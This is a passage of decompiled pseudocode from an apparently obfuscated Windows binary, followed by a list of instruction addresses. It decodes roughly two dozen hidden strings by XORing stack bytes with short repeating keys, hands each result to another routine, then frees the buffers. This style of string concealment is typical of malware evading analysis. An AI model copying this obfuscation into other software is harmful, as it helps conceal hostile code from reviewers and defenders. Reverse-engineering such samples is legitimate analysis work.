				_v1267 = 0x1e;
				_v1266 = 0xa;
				_v1265 = 7;
				_v1264 = 0x3a;
				_v1263 = 0x5a;
				_v1262 = 0x19;
				_v1261 = 0x17;
				_v1260 = 0x1c;
				_v1259 = 0x24;
				_v1258 = 0x18;
				_v1257 = 0x47;
				_v1256 = 0x13;
				_v1255 = 4;
				_v1254 = 6;
				_v1253 = 0x3b;
				_v1252 = 0x2d;
				_v1251 = 0x52;
				_v1250 = 0x1f;
				_v1249 = 0x72;
				_v312 = 0x7a;
				_v311 = 0x72;
				_v310 = 0x6f;
				_v309 = 0x57;
				_v308 = 0x48;
				_v307 = 0x35;
				E00402B00( &_v1432, 0x20);
				_v56 = 0;
				while(_v56 < 0x20) {
					if(1 != 0) {
						asm("cdq");
						_t632 = _v56 % 6 - 0x134; // 0x7a
						E00402AE0( &_v1432, _v56,  *(_t2508 + _v56 - 0x4fc) & 0x000000ff ^  *(_t2508 + _t632) & 0x000000ff);
					}
					_v56 = _v56 + 1;
				}
				E004047B0(E00402AD0( &_v1432), _a4);
				_v1312 = 7;
				_v1311 = 0x52;
				_v1310 = 0x2b;
				_v1309 = 0x26;
				_v1308 = 0x2c;
				_v1307 = 0x26;
				_v1306 = 0x52;
				_v1305 = 3;
				_v1304 = 0x3b;
				_v1303 = 0x2a;
				_v1302 = 0x16;
				_v1301 = 0x56;
				_v1300 = 0x11;
				_v1299 = 0x2d;
				_v1298 = 0x1f;
				_v1297 = 0x26;
				_v1296 = 0x5e;
				_v1295 = 0xd;
				_v1294 = 0x3a;
				_v1293 = 0x26;
				_v1292 = 0x20;
				_v1291 = 0x4e;
				_v1290 = 0x32;
				_v1289 = 0x3a;
				_v1288 = 0x26;
				_v1287 = 0x22;
				_v1286 = 0x5e;
				_v1285 = 0xe;
				_v1284 = 0x2d;
				_v1283 = 0x28;
				_v1282 = 0x31;
				_v1281 = 0x37;
				_v216 = 0x54;
				_v215 = 0x37;
				_v214 = 0x62;
				_v213 = 0x48;
				_v212 = 0x4f;
				E00402B00( &_v1376, 0x20);
				_v60 = 0;
				while(_v60 < 0x20) {
					if(1 != 0) {
						asm("cdq");
						_t688 = _v60 % 5 - 0xd4; // 0x54
						E00402AE0( &_v1376, _v60,  *(_t2508 + _v60 - 0x51c) & 0x000000ff ^  *(_t2508 + _t688) & 0x000000ff);
					}
					_v60 = _v60 + 1;
				}
				E004047B0(E00402AD0( &_v1376), _a4);
				_v976 = 0x66;
				_v975 = 0x5d;
				_v974 = 2;
				_v973 = 0x28;
				_v972 = 0x33;
				_v971 = 0x54;
				_v970 = 0x4c;
				_v969 = 0x24;
				_v968 = 0xa;
				_v967 = 0x37;
				_v966 = 0x52;
				_v965 = 0x5d;
				_v964 = 0x27;
				_v963 = 0x33;
				_v962 = 0x3a;
				_v961 = 0x50;
				_v960 = 0x68;
				_v959 = 0x33;
				_v958 = 0x33;
				_v957 = 0x20;
				_v956 = 0x5c;
				_v955 = 0x54;
				_v954 = 0x24;
				_v953 = 0x3d;
				_v952 = 0x33;
				_v951 = 0x35;
				_v208 = 0x35;
				_v207 = 0x38;
				_v206 = 0x41;
				_v205 = 0x5a;
				_v204 = 0x56;
				E00402B00( &_v1380, 0x1a);
				_v64 = 0;
				while(_v64 < 0x1a) {
					if(1 != 0) {
						asm("cdq");
						_t738 = _v64 % 5 - 0xcc; // 0x35
						E00402AE0( &_v1380, _v64,  *(_t2508 + _v64 - 0x3cc) & 0x000000ff ^  *(_t2508 + _t738) & 0x000000ff);
					}
					_v64 = _v64 + 1;
				}
				E004047B0(E00402AD0( &_v1380), _a4);
				_v1032 = 0x63;
				_v1031 = 0x5c;
				_v1030 = 0x7a;
				_v1029 = 0x30;
				_v1028 = 3;
				_v1027 = 0x51;
				_v1026 = 0x4d;
				_v1025 = 0x5c;
				_v1024 = 0x12;
				_v1023 = 3;
				_v1022 = 0x42;
				_v1021 = 0x54;
				_v1020 = 0x58;
				_v1019 = 0x2c;
				_v1018 = 3;
				_v1017 = 0x5e;
				_v1016 = 0x4d;
				_v1015 = 0x69;
				_v1014 = 0x30;
				_v1013 = 0xf;
				_v1012 = 0x46;
				_v1011 = 0x50;
				_v1010 = 0x55;
				_v1009 = 0x27;
				_v1008 = 1;
				_v1007 = 0x55;
				_v1006 = 0x39;
				_v192 = 0x30;
				_v191 = 0x39;
				_v190 = 0x39;
				_v189 = 0x42;
				_v188 = 0x66;
				E00402B00( &_v1384, 0x1b);
				_v68 = 0;
				while(_v68 < 0x1b) {
					if(1 != 0) {
						asm("cdq");
						_t789 = _v68 % 5 - 0xbc; // 0x30
						E00402AE0( &_v1384, _v68,  *(_t2508 + _v68 - 0x404) & 0x000000ff ^  *(_t2508 + _t789) & 0x000000ff);
					}
					_v68 = _v68 + 1;
				}
				E004047B0(E00402AD0( &_v1384), _a4);
				_v520 = 0x38;
				_v519 = 0x20;
				_v518 = 0x34;
				_v517 = 0x56;
				_v516 = 0x2c;
				_v515 = 0x26;
				_v514 = 0x1e;
				_v513 = 0x35;
				_v512 = 0x26;
				_v511 = 0x45;
				_v510 = 0x26;
				_v509 = 0x3b;
				_v508 = 2;
				_v507 = 0x29;
				_v506 = 0x13;
				_v505 = 0x50;
				_v504 = 0x2a;
				_v503 = 0x4d;
				_v320 = 0x6b;
				_v319 = 0x45;
				_v318 = 0x76;
				_v317 = 0x37;
				_v316 = 0x4f;
				_v315 = 0x4d;
				E00402B00( &_v1340, 0x12);
				_v72 = 0;
				while(_v72 < 0x12) {
					if(1 != 0) {
						asm("cdq");
						_t832 = _v72 % 6 - 0x13c; // 0x6b
						E00402AE0( &_v1340, _v72,  *(_t2508 + _v72 - 0x204) & 0x000000ff ^  *(_t2508 + _t832) & 0x000000ff);
					}
					_v72 = _v72 + 1;
				}
				E004047B0(E00402AD0( &_v1340), _a4);
				_v560 = 4;
				_v559 = 7;
				_v558 = 0;
				_v557 = 0x55;
				_v556 = 0x45;
				_v555 = 0x31;
				_v554 = 0x38;
				_v553 = 0x10;
				_v552 = 0x37;
				_v551 = 0x60;
				_v550 = 0x44;
				_v549 = 0x2c;
				_v548 = 0x21;
				_v547 = 0xb;
				_v546 = 0x3e;
				_v545 = 0x55;
				_v544 = 0x51;
				_v543 = 0x20;
				_v542 = 0x57;
				_v328 = 0x57;
				_v327 = 0x62;
				_v326 = 0x52;
				_v325 = 0x30;
				_v324 = 0x36;
				_v323 = 0x45;
				E00402B00( &_v1388, 0x13);
				_v76 = 0;
				while(_v76 < 0x13) {
					if(1 != 0) {
						asm("cdq");
						_t876 = _v76 % 6 - 0x144; // 0x57
						E00402AE0( &_v1388, _v76,  *(_t2508 + _v76 - 0x22c) & 0x000000ff ^  *(_t2508 + _t876) & 0x000000ff);
					}
					_v76 = _v76 + 1;
				}
				E004047B0(E00402AD0( &_v1388), _a4);
				_v620 = 0x1e;
				_v619 = 4;
				_v618 = 0;
				_v617 = 0x59;
				_v616 = 0x1a;
				_v615 = 0x39;
				_v614 = 5;
				_v613 = 0x3c;
				_v612 = 0x46;
				_v611 = 1;
				_v610 = 0x1d;
				_v609 = 0x13;
				_v608 = 0x3a;
				_v607 = 0x47;
				_v606 = 6;
				_v605 = 0x21;
				_v604 = 4;
				_v603 = 0x34;
				_v602 = 0x54;
				_v601 = 0x6f;
				_v184 = 0x4d;
				_v183 = 0x61;
				_v182 = 0x53;
				_v181 = 0x31;
				_v180 = 0x6f;
				E00402B00( &_v1392, 0x14);
				_v80 = 0;
				while(_v80 < 0x14) {
					if(1 != 0) {
						asm("cdq");
						_t920 = _v80 % 5 - 0xb4; // 0x4d
						E00402AE0( &_v1392, _v80,  *(_t2508 + _v80 - 0x268) & 0x000000ff ^  *(_t2508 + _t920) & 0x000000ff);
					}
					_v80 = _v80 + 1;
				}
				E004047B0(E00402AD0( &_v1392), _a4);
				_v480 = 0x65;
				_v479 = 0x55;
				_v478 = 0x25;
				_v477 = 0x23;
				_v476 = 0x17;
				_v475 = 0x43;
				_v474 = 0x51;
				_v473 = 0x60;
				_v472 = 0x13;
				_v471 = 0x2f;
				_v470 = 3;
				_v469 = 0x5f;
				_v468 = 0x5a;
				_v467 = 0x55;
				_v466 = 6;
				_v465 = 0x23;
				_v464 = 0x75;
				_v336 = 0x36;
				_v335 = 0x30;
				_v334 = 0x61;
				_v333 = 0x46;
				_v332 = 0x75;
				_v331 = 0x36;
				E00402B00( &_v1396, 0x11);
				_v84 = 0;
				while(_v84 < 0x11) {
					if(1 != 0) {
						asm("cdq");
						_t962 = _v84 % 6 - 0x14c; // 0x36
						E00402AE0( &_v1396, _v84,  *(_t2508 + _v84 - 0x1dc) & 0x000000ff ^  *(_t2508 + _t962) & 0x000000ff);
					}
					_v84 = _v84 + 1;
				}
				E004047B0(E00402AD0( &_v1396), _a4);
				_v460 = 0x3a;
				_v459 = 0x30;
				_v458 = 0xb;
				_v457 = 0x2f;
				_v456 = 0x3e;
				_v455 = 0x3d;
				_v454 = 0x1d;
				_v453 = 5;
				_v452 = 0x38;
				_v451 = 0x33;
				_v450 = 0x2c;
				_v449 = 0x3d;
				_v448 = 5;
				_v447 = 0x30;
				_v446 = 0x2d;
				_v445 = 0x3f;
				_v444 = 0x5a;
				_v344 = 0x69;
				_v343 = 0x55;
				_v342 = 0x4a;
				_v341 = 0x5a;
				_v340 = 0x5a;
				_v339 = 0x54;
				E00402B00( &_v1400, 0x11);
				_v88 = 0;
				while(_v88 < 0x11) {
					if(1 != 0) {
						asm("cdq");
						_t1004 = _v88 % 6 - 0x154; // 0x69
						E00402AE0( &_v1400, _v88,  *(_t2508 + _v88 - 0x1c8) & 0x000000ff ^  *(_t2508 + _t1004) & 0x000000ff);
					}
					_v88 = _v88 + 1;
				}
				E004047B0(E00402AD0( &_v1400), _a4);
				_v1120 = 0x65;
				_v1119 = 0x53;
				_v1118 = 0x3c;
				_v1117 = 0x38;
				_v1116 = 0x45;
				_v1115 = 0x42;
				_v1114 = 0x53;
				_v1113 = 2;
				_v1112 = 4;
				_v1111 = 0x58;
				_v1110 = 0x40;
				_v1109 = 0x5f;
				_v1108 = 0x1d;
				_v1107 = 0x2e;
				_v1106 = 0x58;
				_v1105 = 0x5b;
				_v1104 = 0x53;
				_v1103 = 1;
				_v1102 = 0x35;
				_v1101 = 0x66;
				_v1100 = 0x44;
				_v1099 = 0x5f;
				_v1098 = 0x19;
				_v1097 = 0x28;
				_v1096 = 0x5a;
				_v1095 = 0x53;
				_v1094 = 0x51;
				_v1093 = 0xa;
				_v1092 = 0x41;
				_v176 = 0x36;
				_v175 = 0x36;
				_v174 = 0x6f;
				_v173 = 0x41;
				_v172 = 0x36;
				E00402B00( &_v1404, 0x1d);
				_v92 = 0;
				while(_v92 < 0x1d) {
					if(1 != 0) {
						asm("cdq");
						_t1057 = _v92 % 5 - 0xac; // 0x36
						E00402AE0( &_v1404, _v92,  *(_t2508 + _v92 - 0x45c) & 0x000000ff ^  *(_t2508 + _t1057) & 0x000000ff);
					}
					_v92 = _v92 + 1;
				}
				E004047B0(E00402AD0( &_v1404), _a4);
				_v836 = 0x16;
				_v835 = 0x23;
				_v834 = 0x34;
				_v833 = 0x3c;
				_v832 = 0x27;
				_v831 = 0x3d;
				_v830 = 0x22;
				_v829 = 0x23;
				_v828 = 0x39;
				_v827 = 0x3b;
				_v826 = 0x32;
				_v825 = 0x3a;
				_v824 = 0x23;
				_v823 = 0x3f;
				_v822 = 0x27;
				_v821 = 0x26;
				_v820 = 0x2f;
				_v819 = 0x25;
				_v818 = 0x2c;
				_v817 = 0x2a;
				_v816 = 0x12;
				_v815 = 0x33;
				_v814 = 0x23;
				_v813 = 0x53;
				_v352 = 0x45;
				_v351 = 0x46;
				_v350 = 0x77;
				_v349 = 0x54;
				_v348 = 0x46;
				_v347 = 0x53;
				E00402B00( &_v1408, 0x18);
				_v96 = 0;
				while(_v96 < 0x18) {
					if(1 != 0) {
						asm("cdq");
						_t1106 = _v96 % 6 - 0x15c; // 0x45
						E00402AE0( &_v1408, _v96,  *(_t2508 + _v96 - 0x340) & 0x000000ff ^  *(_t2508 + _t1106) & 0x000000ff);
					}
					_v96 = _v96 + 1;
				}
				E004047B0(E00402AD0( &_v1408), _a4);
				_v948 = 0x25;
				_v947 = 0x5d;
				_v946 = 0x31;
				_v945 = 0x50;
				_v944 = 0x1c;
				_v943 = 0x58;
				_v942 = 2;
				_v941 = 0x5d;
				_v940 = 0x30;
				_v939 = 0x5d;
				_v938 = 4;
				_v937 = 0x43;
				_v936 = 0x12;
				_v935 = 0x57;
				_v934 = 0x14;
				_v933 = 0x5b;
				_v932 = 0x21;
				_v931 = 0x45;
				_v930 = 0x1f;
				_v929 = 0x4e;
				_v928 = 0xa;
				_v927 = 0x59;
				_v926 = 0x14;
				_v925 = 0x50;
				_v924 = 0x13;
				_v923 = 0x38;
				_v360 = 0x76;
				_v359 = 0x38;
				_v358 = 0x63;
				_v357 = 0x35;
				_v356 = 0x71;
				_v355 = 0x37;
				E00402B00( &_v1452, 0x1a);
				_v100 = 0;
				while(_v100 < 0x1a) {
					if(1 != 0) {
						asm("cdq");
						_t1157 = _v100 % 6 - 0x164; // 0x76
						E00402AE0( &_v1452, _v100,  *(_t2508 + _v100 - 0x3b0) & 0x000000ff ^  *(_t2508 + _t1157) & 0x000000ff);
					}
					_v100 = _v100 + 1;
				}
				E004047B0(E00402AD0( &_v1452), _a4);
				_v500 = 0x22;
				_v499 = 0x29;
				_v498 = 0x23;
				_v497 = 0x21;
				_v496 = 0x17;
				_v495 = 4;
				_v494 = 0x12;
				_v493 = 0x27;
				_v492 = 0x26;
				_v491 = 0x3d;
				_v490 = 0x1a;
				_v489 = 0x1d;
				_v488 = 0x18;
				_v487 = 0x20;
				_v486 = 0x13;
				_v485 = 0x28;
				_v484 = 0x16;
				_v483 = 0x6b;
				_v368 = 0x71;
				_v367 = 0x4c;
				_v366 = 0x76;
				_v365 = 0x4f;
				_v364 = 0x73;
				_v363 = 0x6b;
				E00402B00( &_v1416, 0x12);
				_v104 = 0;
				while(_v104 < 0x12) {
					if(1 != 0) {
						asm("cdq");
						_t1200 = _v104 % 6 - 0x16c; // 0x71
						E00402AE0( &_v1416, _v104,  *(_t2508 + _v104 - 0x1f0) & 0x000000ff ^  *(_t2508 + _t1200) & 0x000000ff);
					}
					_v104 = _v104 + 1;
				}
				E004047B0(E00402AD0( &_v1416), _a4);
				_v644 = 5;
				_v643 = 0x3c;
				_v642 = 5;
				_v641 = 0x2b;
				_v640 = 1;
				_v639 = 0x35;
				_v638 = 0x18;
				_v637 = 0x31;
				_v636 = 0x37;
				_v635 = 1;
				_v634 = 0x22;
				_v633 = 9;
				_v632 = 0x24;
				_v631 = 0x3b;
				_v630 = 0x19;
				_v629 = 0x3f;
				_v628 = 0x35;
				_v627 = 0x33;
				_v626 = 0x35;
				_v625 = 0xa;
				_v624 = 0x56;
				_v168 = 0x56;
				_v167 = 0x59;
				_v166 = 0x56;
				_v165 = 0x52;
				_v164 = 0x6f;
				E00402B00( &_v1320, 0x15);
				_v108 = 0;
				while(_v108 < 0x15) {
					if(1 != 0) {
						asm("cdq");
						_t1245 = _v108 % 5 - 0xa4; // 0x56
						E00402AE0( &_v1320, _v108,  *(_t2508 + _v108 - 0x280) & 0x000000ff ^  *(_t2508 + _t1245) & 0x000000ff);
					}
					_v108 = _v108 + 1;
				}
				E004047B0(E00402AD0( &_v1320), _a4);
				_v1060 = 0x2b;
				_v1059 = 0x1d;
				_v1058 = 0x77;
				_v1057 = 4;
				_v1056 = 0x28;
				_v1055 = 9;
				_v1054 = 0x14;
				_v1053 = 0x1d;
				_v1052 = 0x76;
				_v1051 = 0xf;
				_v1050 = 0x25;
				_v1049 = 0xe;
				_v1048 = 0x1f;
				_v1047 = 0x19;
				_v1046 = 0x46;
				_v1045 = 3;
				_v1044 = 0x26;
				_v1043 = 5;
				_v1042 = 0x28;
				_v1041 = 0xa;
				_v1040 = 0x5b;
				_v1039 = 0x1c;
				_v1038 = 0x20;
				_v1037 = 7;
				_v1036 = 0x1d;
				_v1035 = 0x1f;
				_v1034 = 0x57;
				_v1033 = 0x6a;
				_v376 = 0x78;
				_v375 = 0x78;
				_v374 = 0x32;
				_v373 = 0x6a;
				_v372 = 0x49;
				_v371 = 0x6b;
				E00402B00( &_v1420, 0x1c);
				_v112 = 0;
				while(_v112 < 0x1c) {
					if(1 != 0) {
						asm("cdq");
						_t1298 = _v112 % 6 - 0x174; // 0x78
						E00402AE0( &_v1420, _v112,  *(_t2508 + _v112 - 0x420) & 0x000000ff ^  *(_t2508 + _t1298) & 0x000000ff);
					}
					_v112 = _v112 + 1;
				}
				E004047B0(E00402AD0( &_v1420), _a4);
				_v812 = 0x3d;
				_v811 = 0x26;
				_v810 = 0xe;
				_v809 = 0x23;
				_v808 = 0xa;
				_v807 = 0x38;
				_v806 = 9;
				_v805 = 0x26;
				_v804 = 0x15;
				_v803 = 0x2d;
				_v802 = 8;
				_v801 = 0x2c;
				_v800 = 3;
				_v799 = 0x26;
				_v798 = 0x13;
				_v797 = 0x30;
				_v796 = 0xd;
				_v795 = 0x2f;
				_v794 = 7;
				_v793 = 0x2f;
				_v792 = 0x26;
				_v791 = 0x25;
				_v790 = 1;
				_v789 = 0x59;
				_v384 = 0x6e;
				_v383 = 0x43;
				_v382 = 0x43;
				_v381 = 0x42;
				_v380 = 0x64;
				_v379 = 0x59;
				E00402B00( &_v1316, 0x18);
				_v116 = 0;
				while(_v116 < 0x18) {
					if(1 != 0) {
						asm("cdq");
						_t1347 = _v116 % 6 - 0x17c; // 0x6e
						E00402AE0( &_v1316, _v116,  *(_t2508 + _v116 - 0x328) & 0x000000ff ^  *(_t2508 + _t1347) & 0x000000ff);
					}
					_v116 = _v116 + 1;
				}
				E004047B0(E00402AD0( &_v1316), _a4);
				_v740 = 0x12;
				_v739 = 0x52;
				_v738 = 0x11;
				_v737 = 0x39;
				_v736 = 0x47;
				_v735 = 0xa;
				_v734 = 0x33;
				_v733 = 0x44;
				_v732 = 0x37;
				_v731 = 0x3a;
				_v730 = 0x56;
				_v729 = 0x1b;
				_v728 = 0x24;
				_v727 = 0x67;
				_v726 = 0x2a;
				_v725 = 0x3d;
				_v724 = 0x41;
				_v723 = 6;
				_v722 = 0x2d;
				_v721 = 0x52;
				_v720 = 0x3f;
				_v719 = 0x31;
				_v718 = 0x37;
				_v392 = 0x41;
				_v391 = 0x37;
				_v390 = 0x58;
				_v389 = 0x54;
				_v388 = 0x37;
				_v387 = 0x6f;
				E00402B00( &_v1448, 0x17);
				_v120 = 0;
				while(_v120 < 0x17) {
					if(1 != 0) {
						asm("cdq");
						_t1395 = _v120 % 6 - 0x184; // 0x41
						E00402AE0( &_v1448, _v120,  *(_t2508 + _v120 - 0x2e0) & 0x000000ff ^  *(_t2508 + _t1395) & 0x000000ff);
					}
					_v120 = _v120 + 1;
				}
				E004047B0(E00402AD0( &_v1448), _a4);
				_v788 = 0x27;
				_v787 = 0x12;
				_v786 = 0x75;
				_v785 = 0x21;
				_v784 = 0x33;
				_v783 = 0x15;
				_v782 = 0;
				_v781 = 0x12;
				_v780 = 0x71;
				_v779 = 0x3f;
				_v778 = 0x39;
				_v777 = 0x16;
				_v776 = 0x15;
				_v775 = 0x1b;
				_v774 = 0x66;
				_v773 = 0x21;
				_v772 = 0x3f;
				_v771 = 2;
				_v770 = 0x1d;
				_v769 = 0x1b;
				_v768 = 0x53;
				_v767 = 0x34;
				_v766 = 0x33;
				_v765 = 0x74;
				_v400 = 0x74;
				_v399 = 0x77;
				_v398 = 0x36;
				_v397 = 0x53;
				_v396 = 0x56;
				_v395 = 0x74;
				E00402B00( &_v1372, 0x18);
				_v124 = 0;
				while(_v124 < 0x18) {
					if(1 != 0) {
						asm("cdq");
						_t1444 = _v124 % 6 - 0x18c; // 0x74
						E00402AE0( &_v1372, _v124,  *(_t2508 + _v124 - 0x310) & 0x000000ff ^  *(_t2508 + _t1444) & 0x000000ff);
					}
					_v124 = _v124 + 1;
				}
				E004047B0(E00402AD0( &_v1372), _a4);
				_v1248 = 0x26;
				_v1247 = 0x3c;
				_v1246 = 2;
				_v1245 = 0x3e;
				_v1244 = 0x40;
				_v1243 = 6;
				_v1242 = 0x2d;
				_v1241 = 0x33;
				_v1240 = 0x28;
				_v1239 = 0x76;
				_v1238 = 7;
				_v1237 = 0x3c;
				_v1236 = 0x32;
				_v1235 = 1;
				_v1234 = 0x54;
				_v1233 = 0x1b;
				_v1232 = 0x18;
				_v1231 = 0x35;
				_v1230 = 0x2f;
				_v1229 = 0x50;
				_v1228 = 6;
				_v1227 = 0x2a;
				_v1226 = 6;
				_v1225 = 0x3e;
				_v1224 = 0x5c;
				_v1223 = 3;
				_v1222 = 0x30;
				_v1221 = 0x3a;
				_v1220 = 0x29;
				_v1219 = 0x52;
				_v1218 = 0x10;
				_v1217 = 0x59;
				_v160 = 0x75;
				_v159 = 0x59;
				_v158 = 0x56;
				_v157 = 0x4c;
				_v156 = 0x35;
				E00402B00( &_v1444, 0x20);
				_v128 = 0;
				while(_v128 < 0x20) {
					if(1 != 0) {
						asm("cdq");
						_t1500 = _v128 % 5 - 0x9c; // 0x75
						E00402AE0( &_v1444, _v128,  *(_t2508 + _v128 - 0x4dc) & 0x000000ff ^  *(_t2508 + _t1500) & 0x000000ff);
					}
					_v128 = _v128 + 1;
				}
				E004047B0(E00402AD0( &_v1444), _a4);
				_v540 = 0x30;
				_v539 = 0x17;
				_v538 = 8;
				_v537 = 0x3d;
				_v536 = 0x3b;
				_v535 = 2;
				_v534 = 0x10;
				_v533 = 0x3f;
				_v532 = 0x34;
				_v531 = 7;
				_v530 = 0x11;
				_v529 = 0x1b;
				_v528 = 0x2c;
				_v527 = 0x31;
				_v526 = 0x3b;
				_v525 = 6;
				_v524 = 0x15;
				_v523 = 0x3f;
				_v522 = 0x58;
				_v152 = 0x63;
				_v151 = 0x72;
				_v150 = 0x5a;
				_v149 = 0x58;
				_v148 = 0x57;
				E00402B00( &_v1440, 0x13);
				_v132 = 0;
				while(_v132 < 0x13) {
					if(1 != 0) {
						asm("cdq");
						_t1543 = _v132 % 5 - 0x94; // 0x63
						E00402AE0( &_v1440, _v132,  *(_t2508 + _v132 - 0x218) & 0x000000ff ^  *(_t2508 + _t1543) & 0x000000ff);
					}
					_v132 = _v132 + 1;
				}
				E004047B0(E00402AD0( &_v1440), _a4);
				_v1184 = 0x60;
				_v1183 = 3;
				_v1182 = 0xe;
				_v1181 = 6;
				_v1180 = 1;
				_v1179 = 0x46;
				_v1178 = 0x56;
				_v1177 = 7;
				_v1176 = 0x34;
				_v1175 = 0xd;
				_v1174 = 0x35;
				_v1173 = 0x5b;
				_v1172 = 0x41;
				_v1171 = 0xd;
				_v1170 = 0x2e;
				_v1169 = 6;
				_v1168 = 5;
				_v1167 = 0x67;
				_v1166 = 0x56;
				_v1165 = 0x12;
				_v1164 = 0x17;
				_v1163 = 0x1a;
				_v1162 = 0xb;
				_v1161 = 0x42;
				_v1160 = 0x5a;
				_v1159 = 0xa;
				_v1158 = 0x22;
				_v1157 = 0xf;
				_v1156 = 7;
				_v1155 = 0x34;
				_v408 = 0x33;
				_v407 = 0x66;
				_v406 = 0x47;
				_v405 = 0x68;
				_v404 = 0x62;
				_v403 = 0x34;
				E00402B00( &_v1436, 0x1e);
				_v136 = 0;
				while(_v136 < 0x1e) {
					if(1 != 0) {
						asm("cdq");
						_t1598 = _v136 % 6 - 0x194; // 0x33
						E00402AE0( &_v1436, _v136,  *(_t2508 + _v136 - 0x49c) & 0x000000ff ^  *(_t2508 + _t1598) & 0x000000ff);
					}
					_v136 = _v136 + 1;
				}
				E004047B0(E00402AD0( &_v1436), _a4);
				_v580 = 0x22;
				_v579 = 0x1d;
				_v578 = 0x15;
				_v577 = 0x2b;
				_v576 = 1;
				_v575 = 9;
				_v574 = 0x2b;
				_v573 = 0x17;
				_v572 = 0x2f;
				_v571 = 0x27;
				_v570 = 0x3c;
				_v569 = 0x1e;
				_v568 = 0x18;
				_v567 = 0xe;
				_v566 = 0x28;
				_v565 = 0x2e;
				_v564 = 9;
				_v563 = 0xb;
				_v562 = 0x14;
				_v561 = 0x78;
				_v416 = 0x71;
				_v415 = 0x78;
				_v414 = 0x41;
				_v413 = 0x42;
				_v412 = 0x6c;
				_v411 = 0x6c;
				E00402B00( &_v1428, 0x14);
				_v140 = 0;
				while(_v140 < 0x14) {
					if(1 != 0) {
						asm("cdq");
						_t1643 = _v140 % 6 - 0x19c; // 0x71
						E00402AE0( &_v1428, _v140,  *(_t2508 + _v140 - 0x240) & 0x000000ff ^  *(_t2508 + _t1643) & 0x000000ff);
					}
					_v140 = _v140 + 1;
				}
				E004047B0(E00402AD0( &_v1428), _a4);
				_v1216 = 0x16;
				_v1215 = 8;
				_v1214 = 0x73;
				_v1213 = 0x2a;
				_v1212 = 0x57;
				_v1211 = 0x15;
				_v1210 = 0x31;
				_v1209 = 8;
				_v1208 = 0x63;
				_v1207 = 0x21;
				_v1206 = 0x5f;
				_v1205 = 0x16;
				_v1204 = 0x2a;
				_v1203 = 1;
				_v1202 = 0x59;
				_v1201 = 0x3b;
				_v1200 = 0x7e;
				_v1199 = 0x1d;
				_v1198 = 0x2b;
				_v1197 = 6;
				_v1196 = 0x60;
				_v1195 = 0x2a;
				_v1194 = 0x5b;
				_v1193 = 2;
				_v1192 = 0x2c;
				_v1191 = 1;
				_v1190 = 0x55;
				_v1189 = 0x3f;
				_v1188 = 0x57;
				_v1187 = 0x74;
				_v424 = 0x45;
				_v423 = 0x6d;
				_v422 = 0x30;
				_v421 = 0x58;
				_v420 = 0x32;
				_v419 = 0x74;
				E00402B00( &_v1412, 0x1e);
				_v144 = 0;
				while(_v144 < 0x1e) {
					if(1 != 0) {
						asm("cdq");
						_t1698 = _v144 % 6 - 0x1a4; // 0x45
						E00402AE0( &_v1412, _v144,  *(_t2508 + _v144 - 0x4bc) & 0x000000ff ^  *(_t2508 + _t1698) & 0x000000ff);
					}
					_v144 = _v144 + 1;
				}
				E004047B0(E00402AD0( &_v1412), _a4);
				E00402B30( &_v1412);
				E00402B30( &_v1428);
				E00402B30( &_v1436);
				E00402B30( &_v1440);
				E00402B30( &_v1444);
				E00402B30( &_v1372);
				E00402B30( &_v1448);
				E00402B30( &_v1316);
				E00402B30( &_v1420);
				E00402B30( &_v1320);
				E00402B30( &_v1416);
				E00402B30( &_v1452);
				E00402B30( &_v1408);
				E00402B30( &_v1404);
				E00402B30( &_v1400);
				E00402B30( &_v1396);
				E00402B30( &_v1392);
				E00402B30( &_v1388);
				E00402B30( &_v1340);
				E00402B30( &_v1384);
				E00402B30( &_v1380);
				E00402B30( &_v1376);
				E00402B30( &_v1432);
				E00402B30( &_v1368);
				E00402B30( &_v1364);
				E00402B30( &_v1424);
				E00402B30( &_v1324);
				E00402B30( &_v1328);
				E00402B30( &_v1332);
				E00402B30( &_v1336);
				E00402B30( &_v1344);
				E00402B30( &_v1348);
				E00402B30( &_v1352);
				E00402B30( &_v1356);
				return E00402B30( &_v1360);
			}

0x004099ba
0x004099c1
0x004099c8
0x004099cf
0x004099d6
0x004099dd
0x004099e4
0x004099eb
0x004099f2
0x004099f9
0x00409a00
0x00409a07
0x00409a0e
0x00409a15
0x00409a1c
0x00409a23
0x00409a2a
0x00409a31
0x00409a38
0x00409a3f
0x00409a46
0x00409a4d
0x00409a54
0x00409a5b
0x00409a62
0x00409a69
0x00409a70
0x00409a77
0x00409a7e
0x00409a8d
0x00409a92
0x00409aa4
0x00409ab1
0x00409ac1
0x00409ac9
0x00409ade
0x00409ade
0x00409aa1
0x00409aa1
0x00409af5
0x00409afa
0x00409b01
0x00409b08
0x00409b0f
0x00409b16
0x00409b1d
0x00409b24
0x00409b2b
0x00409b32
0x00409b39
0x00409b40
0x00409b47
0x00409b4e
0x00409b55
0x00409b5c
0x00409b63
0x00409b6a
0x00409b71
0x00409b78
0x00409b7f
0x00409b86
0x00409b8d
0x00409b94
0x00409b9b
0x00409ba2
0x00409ba9
0x00409bb0
0x00409bb7
0x00409bbe
0x00409bc5
0x00409bcc
0x00409bd3
0x00409bda
0x00409be1
0x00409be8
0x00409bef
0x00409bfe
0x00409c03
0x00409c15
0x00409c22
0x00409c32
0x00409c3a
0x00409c4f
0x00409c4f
0x00409c12
0x00409c12
0x00409c66
0x00409c6b
0x00409c72
0x00409c79
0x00409c80
0x00409c87
0x00409c8e
0x00409c95
0x00409c9c
0x00409ca3
0x00409caa
0x00409cb1
0x00409cb8
0x00409cbf
0x00409cc6
0x00409ccd
0x00409cd4
0x00409cdb
0x00409ce2
0x00409ce9
0x00409cf0
0x00409cf7
0x00409cfe
0x00409d05
0x00409d0c
0x00409d13
0x00409d1a
0x00409d21
0x00409d28
0x00409d37
0x00409d3c
0x00409d4e
0x00409d5b
0x00409d6b
0x00409d73
0x00409d88
0x00409d88
0x00409d4b
0x00409d4b
0x00409d9f
0x00409da4
0x00409dab
0x00409db2
0x00409db9
0x00409dc0
0x00409dc7
0x00409dce
0x00409dd5
0x00409ddc
0x00409de3
0x00409dea
0x00409df1
0x00409df8
0x00409dff
0x00409e06
0x00409e0d
0x00409e14
0x00409e1b
0x00409e22
0x00409e29
0x00409e30
0x00409e37
0x00409e3e
0x00409e45
0x00409e4c
0x00409e53
0x00409e5a
0x00409e61
0x00409e68
0x00409e6f
0x00409e76
0x00409e85
0x00409e8a
0x00409e9c
0x00409ea9
0x00409eb9
0x00409ec1
0x00409ed6
0x00409ed6
0x00409e99
0x00409e99
0x00409eed
0x00409ef2
0x00409ef9
0x00409f00
0x00409f07
0x00409f0e
0x00409f15
0x00409f1c
0x00409f23
0x00409f2a
0x00409f31
0x00409f38
0x00409f3f
0x00409f46
